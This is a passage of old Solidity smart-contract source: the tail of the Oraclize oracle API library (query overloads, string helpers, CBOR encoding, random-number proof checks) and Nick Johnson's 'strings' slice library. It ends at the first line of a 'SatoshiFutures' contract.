datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; var ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } // start of satoshi futures contract contract SatoshiFutures is usingOraclize 